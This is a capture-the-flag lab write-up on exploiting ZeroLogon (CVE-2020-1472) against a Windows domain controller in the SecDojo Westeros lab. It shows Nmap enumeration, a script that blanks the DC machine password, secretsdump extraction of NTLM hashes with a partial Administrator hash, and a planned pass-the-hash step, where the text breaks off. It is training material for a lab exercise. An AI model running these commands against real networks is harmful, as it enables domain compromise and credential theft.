
SecDojo - Westeros Lab

Eggshell machine write up

Sesco

2022-12-29

Information

- **Name:** Westeros Lab - Eggshell Machine
- **Profile:** SecDojo
- **Difficulty:** Easy
- **Description:** Westeros is a network of vulnerable Windows servers. Each box suffers from a severe vulnerability that if properly exploited, will grant you administrator access and get you the root flag located at the Administrator desktop folder.

Enumeration

Nmap

We begin our reconnaissance by running an Nmap scan checking services and their versions also checking default scripts and testing for vulnerabilities.

```
1 $ nmap -Pn -sV -sC 172.16.4.236
2 Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-28 15:57 UTC
3 Nmap scan report for 172.16.4.236
4 Host is up (0.00038s latency).
5 Not shown: 988 filtered tcp ports (no-response)
6 PORT      STATE SERVICE          VERSION
7 53/tcp    open  domain           Simple DNS Plus
8 88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server
   time: 2022-12-28 15:58:17Z)
9 135/tcp   open  msrpc            Microsoft Windows RPC
10 139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
11 389/tcp   open  ldap             Microsoft Windows Active Directory
   LDAP (Domain: lab.secddojo.local, Site: Default-First-Site-Name)
12 445/tcp   open  microsoft-ds     Windows Server 2016 Datacenter 14393
   microsoft-ds (workgroup: LAB)
13 464/tcp   open  kpasswd5?

61 | zsh: segmentation fault nmap -Pn -sV -sC 172.16.4.236
```

From the above output we can see that ports, **53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269** and **3389** are the open ports also we found that the running system is **Windows Server 2016 Datacenter 6.3**.

After doing some more enumerations I couldn't find something useful, so I've used the hint which got me straight into the point, the machine is vulnerable to CVE-2020-1472 aka ZeroLogon that affects Active Directory's domain controller server and exactly one of its protocols called Netlogon Remote Protocol, which helps domain controller to identify and authenticate users and client computers before they are granted access to the network, moreover the encryption implementation Netlogon uses contains a fatal flaw. In short this vulnerability allows us to impersonate a valid user and change the password of any computer account or the domain controller itself which we're going to do.

Exploitation

I'll be using an online script to exploit our machine. This script will set domain controller's password to null.

```
1 $ python3 ./set_empty_pw.py SRV-DC1 172.16.4.236
2 Performing authentication attempts...
3 =====
4 NetrServerAuthenticate3Response
5 ServerCredential:
6     Data: b'\x81o\x0e\x1a\xf1#\xaaah'
7 NegotiateFlags: 556793855
8 AccountRid: 1008
9 ErrorCode: 0
10
11
12 server challenge b'\x81=o\x0e\xf8R\x8e\xee'
13 NetrServerPasswordSet2Response
14 ReturnAuthenticator:
15     Credential:
16         Data: b'\x01\xe5\xde8G\xd8\xd1\xe0'
17         Timestamp: 0
18 ErrorCode: 0
19
20
21
22 Success! DC should now have the empty string as its machine password.
```

Now to get the credentials or NTLM hashes we'll have to extract NTDS.DIT data which is a database that stores Active Directory data, including information about user objects, groups and group membership. Importantly, the file also stores the password hashes for all users in the domain.

```
1 $ secretsdump.py -just-dc LAB.SECDOJO.LOCAL/SRV-DC1@$@172.16.4.236

   d6cfe0d16ae931b73c59d7e0c089c0:::
```

As you can see that's our NTLM hash of the Administrator, let's use Pass-The-Hash attack to get in.

```
